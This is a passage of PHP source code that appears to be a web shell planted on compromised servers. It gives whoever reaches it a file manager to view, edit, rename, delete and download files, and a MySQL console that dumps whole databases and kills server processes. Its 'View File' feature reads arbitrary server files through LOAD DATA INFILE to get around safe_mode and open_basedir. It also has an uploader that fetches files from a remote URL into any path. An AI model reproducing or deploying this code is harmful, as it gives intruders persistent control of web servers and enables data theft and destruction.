1185 elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1186 elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
1187 elseif ($sql_tbl_x == "insert") {
1188if ($sql_tbl_insert_radio == 1) {
1189 $keys = "";
1190 $akeys = array_keys($sql_tbl_insert);
1191 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1192 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1193 $values = "";
1194 $i = 0;
1195 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1196 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1197 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1198 $sql_x = "query";
1199 $sql_tbl_x = "browse";
1200}
1201elseif ($sql_tbl_insert_radio == 2) {
1202 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1203 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1204 $result = mysql_query($sql_query) or print(mysql_smarterror());
1205 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1206 $sql_x = "query";
1207 $sql_tbl_x = "browse";
1208}
1209 }
1210 if ($sql_x == "query") {
1211echo "<hr size="1" noshade>";
1212if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1213if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
1214if ((!$submit) or ($sql_x)) { echo "<table class='tab'><tr><td><form action="".$sql_surl."" method="POST"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name="sql_query" cols="100" rows="10">".htmlspecialchars($sql_query)."</textarea><br><br><input type="hidden" name="sql_x" value="query"><input type="hidden" name="sql_tbl" value="".htmlspecialchars($sql_tbl).""><input type="hidden" name="submit" value="1"><input type="hidden" name="sql_goto" value="".htmlspecialchars($sql_goto).""><input type="submit" name="sql_confirm" value="Yes"> <input type="submit" value="No"></form></td></tr></table>"; }
1215 }
1216 if (in_array($sql_x,$xs)) {
1217echo '<table class="tab">
1218<tr>
1219<td style="border:1px solid #333333;padding:3px;">
1220<b>Create new table:</b>
1221<form action="'.$surl.'">
1222<input type="hidden" name="x" value="sql">
1223<input type="hidden" name="sql_x" value="newtbl">
1224<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1225<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1226<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1227<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1228<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1229<input type="text" name="sql_newtbl" size="20">
1230Fields: <input type="text" name="sql_field" size="3">
1231<input class="inputzbut" type="submit" value="Create">
1232</form>
1233</td>
1234<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
1235<form action="'.$surl.'">
1236<input type="hidden" name="x" value="sql">
1237<input type="hidden" name="sql_x" value="dump">
1238<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1239<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1240<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1241<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1242<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1243<input type="text" name="dump_file" size="30" value="dump_'.getenv("SERVER_NAME").'_'.$sql_db.'_'.date("d-m-Y-H-i-s").'.sql">
1244<input type="submit" class="inputzbut" name="submit" value="Dump">
1245</form>
1246</td>
1247</tr>
1248</table>';
1249if (!empty($sql_x)) { echo "<hr size="1" noshade>"; }
1250if ($sql_x == "newtbl") {
1251 echo "<b>";
1252 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
1253echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!</b><br>";
1254 }
1255 else { echo "Can't create DB "".htmlspecialchars($sql_newdb)."".<br>Reason:</b> ".mysql_smarterror(); }
1256}
1257elseif ($sql_x == "dump") {
1258 if (empty($submit)) {
1259$diplay = FALSE;
1260echo "<form method="GET"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="dump"><input type="hidden" name="sql_db" value="".htmlspecialchars($sql_db).""><input type="hidden" name="sql_login" value="".htmlspecialchars($sql_login).""><input type="hidden" name="sql_passwd" value="".htmlspecialchars($sql_passwd).""><input type="hidden" name="sql_server" value="".htmlspecialchars($sql_server).""><input type="hidden" name="sql_port" value="".htmlspecialchars($sql_port).""><input type="hidden" name="sql_tbl" value="".htmlspecialchars($sql_tbl).""><b>SQL-Dump:</b><br><br>";
1261echo "<b>DB:</b> <input type="text" name="sql_db" value="".urlencode($sql_db).""><br><br>";
1262$v = join (";",$dmptbls);
1263echo "<b>Only tables (explode ";") :</b> <input type="text" name="dmptbls" value="".htmlspecialchars($v)."" size="".(strlen($v)+5).""><br><br>";
1264if ($dump_file) {$tmp = $dump_file;}
1265else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1266echo "<b>File:</b> <input type="text" name="sql_dump_file" value="".$tmp."" size="".(strlen($tmp)+strlen($tmp) % 30).""><br><br>";
1267echo "<b>Download: </b> <input type="checkbox" name="sql_dump_download" value="1" checked><br><br>";
1268echo "<b>Save to file: </b> <input type="checkbox" name="sql_dump_savetofile" value="1" checked>";
1269echo "<br><br><input class="inputzbut" type="submit" name="submit" value="Dump">";
1270echo "</form>";
1271 }
1272 else {
1273$diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0;
1274$set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array();
1275if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1276$ret = mysql_dump($set);
1277if ($sql_dump_download) {
1278 @ob_clean();
1279 header("Content-type: application/octet-stream");
1280 header("Content-length: ".strlen($ret));
1281 header("Content-disposition: attachment; filename="".basename($sql_dump_file)."";");
1282 echo $ret;
1283 exit;
1284}
1285elseif ($sql_dump_savetofile) {
1286 $fp = fopen($sql_dump_file,"w");
1287 if (!$fp) {echo "<b>Dump error! Can't write to "".htmlspecialchars($sql_dump_file).""!";}
1288 else {
1289fwrite($fp,$ret);
1290fclose($fp);
1291echo "<b>Dumped! Dump has been writed to "".htmlspecialchars(realpath($sql_dump_file))."" (".view_size(filesize($sql_dump_file)).")</b>.";
1292 }
1293}
1294else {echo "<b>Dump: nothing to do!</b>";}
1295 }
1296}
1297if ($diplay) {
1298 if (!empty($sql_tbl)) {
1299 if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
1300 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1301 $count_row = mysql_fetch_array($count);
1302 mysql_free_result($count);
1303 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1304$tbl_struct_fields = array();
1305while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1306 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
1307 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
1308 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
1309 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
1310 $perpage = $sql_tbl_le - $sql_tbl_ls;
1311 if (!is_numeric($perpage)) { $perpage = 10; }
1312 $numpages = $count_row[0]/$perpage;
1313 $e = explode(" ",$sql_order);
1314 if (count($e) == 2) {
1315if ($e[0] == "d") { $asc_desc = "DESC"; }
1316else { $asc_desc = "ASC"; }
1317$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1318 }
1319 else {$v = "";}
1320 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1321 $result = mysql_query($query) or print(mysql_smarterror());
1322 echo "<center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1323 echo "<hr size="1" noshade>";
1324 echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure">[<b> Structure </b>]</a> ";
1325 echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse">[<b> Browse </b>]</a> ";
1326 echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1">[<b> Dump </b>]</a> ";
1327 echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert">[ <b>Insert</b> ]</a> ";
1328 if ($sql_tbl_x == "structure") { echo "<b>Under construction!</b>"; }
1329 if ($sql_tbl_x == "insert") {
1330if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1331if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
1332else {
1333 echo "<br><br><b>Inserting row into table:</b><br>";
1334 if (!empty($sql_tbl_insert_q)) {
1335$sql_query = "SELECT * FROM `".$sql_tbl."`";
1336$sql_query .= " WHERE".$sql_tbl_insert_q;
1337$sql_query .= " LIMIT 1;";
1338$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1339$values = mysql_fetch_assoc($result);
1340mysql_free_result($result);
1341 }
1342 else {$values = array();}
1343 echo "<form method="POST"><table width="1%" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
1344 foreach ($tbl_struct_fields as $field) {
1345$name = $field["Field"];
1346if (empty($sql_tbl_insert_q)) {$v = "";}
1347echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name="sql_tbl_insert_functs[".htmlspecialchars($name)."]"><option value=""></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value="">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type="text" name="sql_tbl_insert[".htmlspecialchars($name)."]" value="".htmlspecialchars($values[$name])."" size=50></td></tr>";
1348$i++;
1349 }
1350 echo "</table><br>";
1351 echo "<input type="radio" name="sql_tbl_insert_radio" value="1""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1352 if (!empty($sql_tbl_insert_q)) {echo " or <input type="radio" name="sql_tbl_insert_radio" value="2" checked><b>Save</b>"; echo "<input type="hidden" name="sql_tbl_insert_q" value="".htmlspecialchars($sql_tbl_insert_q)."">";}
1353 echo "<br><br><input class="inputzbut" type="submit" value="Confirm"></form>";
1354}
1355 }
1356 if ($sql_tbl_x == "browse") {
1357$sql_tbl_ls = abs($sql_tbl_ls);
1358$sql_tbl_le = abs($sql_tbl_le);
1359echo "<hr size="1" noshade>";
1360echo "<b>Page: </b>";
1361$b = 0;
1362for($i=0;$i<$numpages;$i++) {
1363 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage).""><u>";}
1364 echo $i;
1365 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1366 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1367 else { echo " "; }
1368}
1369if ($i == 0) {echo "empty";}
1370echo "<br><br><form method="GET"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_db" value="".htmlspecialchars($sql_db).""><input type="hidden" name="sql_login" value="".htmlspecialchars($sql_login).""><input type="hidden" name="sql_passwd" value="".htmlspecialchars($sql_passwd).""><input type="hidden" name="sql_server" value="".htmlspecialchars($sql_server).""><input type="hidden" name="sql_port" value="".htmlspecialchars($sql_port).""><input type="hidden" name="sql_tbl" value="".htmlspecialchars($sql_tbl).""><input type="hidden" name="sql_order" value="".htmlspecialchars($sql_order).""><b>From:</b> <input type="text" name="sql_tbl_ls" value="".$sql_tbl_ls.""> <b>To:</b> <input type="text" name="sql_tbl_le" value="".$sql_tbl_le.""> <input type="submit" value="View"></form>";
1371echo "<br><form method="POST">n";
1372echo "<table class='tub'><tr>";
1373echo "<th><input type="checkbox" name="boxrow_all" value="1"></th>";
1374for ($i=0;$i<mysql_num_fields($result);$i++) {
1375 $v = mysql_field_name($result,$i);
1376 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1377 else {$s = "a"; $m = "desc";}
1378 echo "<th>";
1379 if (empty($e[0])) {$e[0] = "a";}
1380 if (@$e[1] != $v) {echo "<a href="".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v.""><b>".$v."</b></a>";}
1381 else {echo "<b>".$v."</b><a href="".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v.""><img src="".$surl."x=img&img=sort_".$m."" alt="".$m.""></a>";}
1382 echo "</th>";
1383}
1384echo "<th><font color="#00FF00"><b>action</b></font></th>";
1385echo "</tr>";
1386while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1387 echo "<tr>";
1388 $w = "";
1389 $i = 0;
1390 foreach ($row as $k=>$v) {
1391$name = mysql_field_name($result,$i);
1392$w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
1393 }
1394 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
1395 echo "<td align='center' style='padding:0px;'><input type="checkbox" name="boxrow[]" value="".$w.""></td>";
1396 $i = 0;
1397 foreach ($row as $k=>$v) {
1398$v = htmlspecialchars($v);
1399if ($v == "") { $v = "<font color="#00FF00">NULL</font>"; }
1400echo "<td>".$v."</td>";
1401$i++;
1402 }
1403 echo "<td>";
1404 echo "<a href="".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."">Delete</a>";
1405 echo " | ";
1406 echo "<a href="".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."">Edit</a> ";
1407 echo "</td>";
1408 echo "</tr>";
1409}
1410mysql_free_result($result);
1411echo "</table><hr size="1" noshade><p align="left"><input type="checkbox"/> <select name="sql_x">";
1412echo "<option value="">With selected:</option>";
1413echo "<option value="deleterow">Delete</option>";
1414echo "</select> <input class="inputzbut" type="submit" value="Confirm"></form></p>";
1415}
1416 }
1417 else {
1418$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1419if (!$result) { echo mysql_smarterror(); }
1420else {
1421echo '<form method="POST">
1422<table class="tub">
1423<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
1424 $i = 0;
1425 $tsize = $trows = 0;
1426 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1427$tsize += $row["Data_length"];
1428$trows += $row["Rows"];
1429$size = view_size($row["Data_length"]);
1430echo'<tr>
1431<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="'.$row["Name"].'"></td>
1432<td><a href="'.$sql_surl.'sql_tbl='.urlencode($row["Name"]).'"><b>'.$row["Name"].'</b></a></td>
1433<td>'.$row["Rows"].'</td><td>'.$row["Engine"].'</td><td>'.$row["Create_time"].'</td><td>'.$row["Update_time"].'</td><td>'.$size.'</td>
1434<td><a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DELETE FROM `".$row["Name"]."`").'">Empty</a> | <a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DROP TABLE `".$row["Name"]."`").'">Drop</a> | <a href="'.$sql_surl.'sql_tbl_x=insert&sql_tbl='.$row["Name"].'">Insert</a></td>
1435</tr>';
1436$i++;
1437 }
1438 echo "tt<tr>n".
1439"tt<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>n";
1440echo'</tr>
1441</table>
1442<div align="right">
1443<select class="inputz" name="sql_x">
1444<option value="">With selected:</option>
1445<option value="tbldrop">Drop</option>
1446<option value="tblempty">Empty</option>";
1447<option value="tbldump">Dump</option>";
1448<option value="tblcheck">Check table</option>";
1449<option value="tbloptimize">Optimize table</option>";
1450<option value="tblrepair">Repair table</option>";
1451<option value="tblanalyze">Analyze table</option>";
1452</select>
1453<input class="inputzbut" type="submit" value="Confirm">
1454</div>
1455</form>';
1456 mysql_free_result($result);
1457}
1458 }
1459}
1460 }
1461}
1462else {
1463$xs = array("","newdb","serverstatus","servervars","processes","getfile");
1464if (in_array($sql_x,$xs)) {
1465echo '<table class="tab">
1466<tr>
1467<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
1468<form action="'.$surl.'">
1469<input type="hidden" name="x" value="sql">
1470<input type="hidden" name="sql_x" value="newdb">
1471<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1472<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1473<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1474<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1475<input class="inputz" type="text" name="sql_newdb" size="20">
1476<input class="inputzbut" type="submit" value="Create">
1477</form>
1478</td>
1479<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
1480<form action="'.$surl.'">
1481<input type="hidden" name="x" value="sql">
1482<input type="hidden" name="sql_x" value="getfile">
1483<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1484<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1485<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1486<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1487<input class="inputz" type="text" name="sql_getfile" size="30" value="'.htmlspecialchars($sql_getfile).'">
1488<input class="inputzbut" type="submit" value="Get">
1489</form>
1490</td>
1491</tr>
1492</table>';
1493}
1494if (!empty($sql_x)) {
1495 echo "<hr size="1" noshade>";
1496 if ($sql_x == "newdb") {
1497echo "<b>";
1498if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!</b><br>";}
1499else {echo "Can't create DB "".htmlspecialchars($sql_newdb)."".<br>Reason:</b> ".mysql_smarterror();}
1500 }
1501 if ($sql_x == "serverstatus") {
1502$result = mysql_query("SHOW STATUS", $sql_sock);
1503echo "<center><b>Server status variables:</b><br><br>";
1504echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1505while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1506echo "</table></center>";
1507mysql_free_result($result);
1508 }
1509 if ($sql_x == "servervars") {
1510$result = mysql_query("SHOW VARIABLES", $sql_sock);
1511echo "<center><b>Server variables:</b><br><br>";
1512echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1513while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1514echo "</table>";
1515mysql_free_result($result);
1516 }
1517 if ($sql_x == "processes") {
1518if (!empty($kill)) {
1519 $query = "KILL ".$kill.";";
1520 $result = mysql_query($query, $sql_sock);
1521 echo "<b>Process #".$kill." was killed.</b>";
1522}
1523$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1524echo "<center><b>Processes:</b><br><br>";
1525echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
1526while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href="".$sql_surl."sql_x=processes&kill=".$row[0].""><u>Kill</u></a></td></tr>";}
1527echo "</table>";
1528mysql_free_result($result);
1529 }
1530 if ($sql_x == "getfile") {
1531$tmpdb = $sql_login."_tmpdb";
1532$select = mysql_select_db($tmpdb);
1533if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1534if ($select) {
1535 $created = FALSE;
1536 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1537 mysql_query("LOAD DATA INFILE "".addslashes($sql_getfile)."" INTO TABLE tmp_file");
1538 $result = mysql_query("SELECT * FROM tmp_file;");
1539 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1540 else {
1541for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1542$f = "";
1543while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("rn",$row); }
1544if (empty($f)) {echo "<b>File "".$sql_getfile."" does not exists or empty!</b><br>";}
1545else {echo "<b>File "".$sql_getfile."":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1546mysql_free_result($result);
1547mysql_query("DROP TABLE tmp_file;");
1548 }
1549}
1550mysql_drop_db($tmpdb);
1551 }
1552}
1553 }
1554}
1555echo '</td></tr>';
1556if ($sql_sock) {
1557 $affected = @mysql_affected_rows($sql_sock);
1558 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1559 echo "t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1560}
1561echo '</table></center>';
1562 }
1563echo '</form>';
1564}
1565}
1566//*--------------------------------[ batas ]--------------------------------*//
1567
1568
1569elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ini_set('output_buffering',0);
1570 @ob_start();
1571 @eval("phpinfo();");
1572 $buff = @ob_get_contents();
1573 @ob_end_clean();
1574 $awal = strpos($buff,"<body>")+6;
1575 $akhir = strpos($buff,"</body>");
1576 echo "<div class="phpinfo">".substr($buff,$awal,$akhir-$awal)."</div>";
1577}
1578elseif(isset($_GET['view']) && ($_GET['view'] != "")){
1579 if(is_file($_GET['view'])){
1580 if(!isset($file)) $file = magicboom($_GET['view']);
1581 if(!$win && $posix){
1582 $name=@posix_getpwuid(@fileowner($folder));
1583 $group=@posix_getgrgid(@filegroup($folder));
1584 $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
1585 }
1586 else {
1587 $owner = $user;
1588 }
1589 $filn = basename($file);
1590 echo "<table style="margin:6px 0 0 2px;line-height:20px;">
1591 <tr><td>Filename</td><td><span id="".clearspace($filn)."_link">".$file."</span>
1592 <form action="?y=".$pwd."&view=$file" method="post" id="".clearspace($filn)."_form" class="sembunyi" style="margin:0;padding:0;">
1593 <input type="hidden" name="oldname" value="".$filn."" style="margin:0;padding:0;" />
1594 <input class="inputz" style="width:200px;" type="text" name="newname" value="".$filn."" />
1595 <input class="inputzbut" type="submit" name="Rename" value="Rename" />
1596 <input class="inputzbut" type="submit" name="Cancel" value="Cancel" onclick="tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');" />
1597 </form>
1598 </td></tr>
1599 <tr><td>Size</td><td>".ukuran($file)."</td></tr>
1600 <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
1601 <tr><td>Owner</td><td>".$owner."</td></tr>
1602 <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
1603 <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
1604 <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
1605 <tr><td>Actions</td><td><a href="?y=$pwd&edit=$file">Edit</a> | <a href="javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');">Rename</a> | <a href="?y=$pwd&delete=$file">Delete</a> | <a href="?y=$pwd&dl=$file">Download</a> (<a href="?y=$pwd&dlgzip=$file">GZip</a>)</td></tr>
1606 <tr><td>View</td><td><a href="?y=".$pwd."&view=".$file."">Text</a> | <a href="?y=".$pwd."&view=".$file."&type=code">Code</a> | <a href="?y=".$pwd."&view=".$file."&type=image">Image</a></td></tr>
1607 </table>
1608 ";
1609 if(isset($_GET['type']) && ($_GET['type']=='image')){
1610 echo "<div style="text-align:center;margin:8px;"><img src="?y=".$pwd."&img=".$filn.""></div>";
1611 }
1612 elseif(isset($_GET['type']) && ($_GET['type']=='code')){
1613 echo "<div class="viewfile">";
1614 $file = wordwrap(@file_get_contents($file),"240","n");
1615 @highlight_string($file);
1616 echo "</div>";
1617 }
1618 else {
1619 echo "<div class="viewfile">";
1620 echo nl2br(htmlentities((@file_get_contents($file))));
1621 echo "</div>";
1622 }
1623 }
1624 elseif(is_dir($_GET['view'])){
1625 echo showdir($pwd,$prompt);
1626 }
1627
1628}
1629elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){@ini_set('output_buffering',0);
1630
1631 if(isset($_POST['save'])){
1632 $file = $_POST['saveas'];
1633 $content = magicboom($_POST['content']);
1634 if($filez = @fopen($file,"w")){
1635 $time = date("d-M-Y H:i",time());
1636 if(@fwrite($filez,$content)) $msg = "file saved <span class="gaya">@</span> ".$time;
1637 else $msg = "failed to save";
1638 @fclose($filez);
1639 }
1640 else $msg = "permission denied";
1641 }
1642 if(!isset($file)) $file = $_GET['edit'];
1643 if($filez = @fopen($file,"r")){
1644 $content = "";
1645 while(!feof($filez)){
1646 $content .= htmlentities(str_replace("''","'",fgets($filez)));
1647 }
1648 @fclose($filez);
1649 }
1650
1651?>
1652<form action="?y=<?=$pwd; ?>&edit=<?=$file; ?>" method="post">
1653<table class="cmdbox">
1654<tr><td colspan="2">
1655<textarea class="output" name="content">
1656<?=$content; ?>
1657</textarea>
1658<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?=$file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
1659 <?=$msg; ?></td></tr>
1660</table>
1661</form>
1662<?php
1663}
1664elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
1665{
1666?>
1667<form action="?y=<?=$pwd; ?>&x=logout" method="post">
1668
1669<?php
1670 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1671 echo "<br /><br /><center>Byee !!!!!!</center>";
1672}
1673
1674//////////////////////////////////////////////////////////////////
1675///////////////////////////////////////////////////////////////////////////////
1676elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ @ini_set('output_buffering',0);
1677echo "
1678<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
1679
1680 <tr>
1681 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
1682 <center><b><font size=5 style=italic color=#00ff00>Uploader</font></b></center></td></tr></table>
1683";
1684if(isset($_POST['uploadcomp'])){
1685 if(is_uploaded_file($_FILES['file']['tmp_name'])){
1686 $path = magicboom($_POST['path']);
1687 $fname = $_FILES['file']['name'];
1688 $tmp_name = $_FILES['file']['tmp_name'];
1689 $pindah = $path.$fname;
1690 $stat = @move_uploaded_file($tmp_name,$pindah);
1691 if ($stat) {
1692 $msg = "file uploaded to $pindah";
1693 }
1694 else $msg = "failed to upload $fname";
1695 }
1696 else $msg = "failed to upload $fname";
1697}
1698elseif(isset($_POST['uploadurl'])){@ini_set('output_buffering',0);
1699 $pilihan = trim($_POST['pilihan']);
1700 $wurl = trim($_POST['wurl']);
1701 $path = magicboom($_POST['path']);
1702 $namafile = download($pilihan,$wurl);
1703 $pindah = $path.$namafile;
1704 if(is_file($pindah)) {
1705 $msg = "file uploaded to $pindah";
1706 }
1707 else $msg = "failed to upload $namafile";
1708
1709}
1710?>
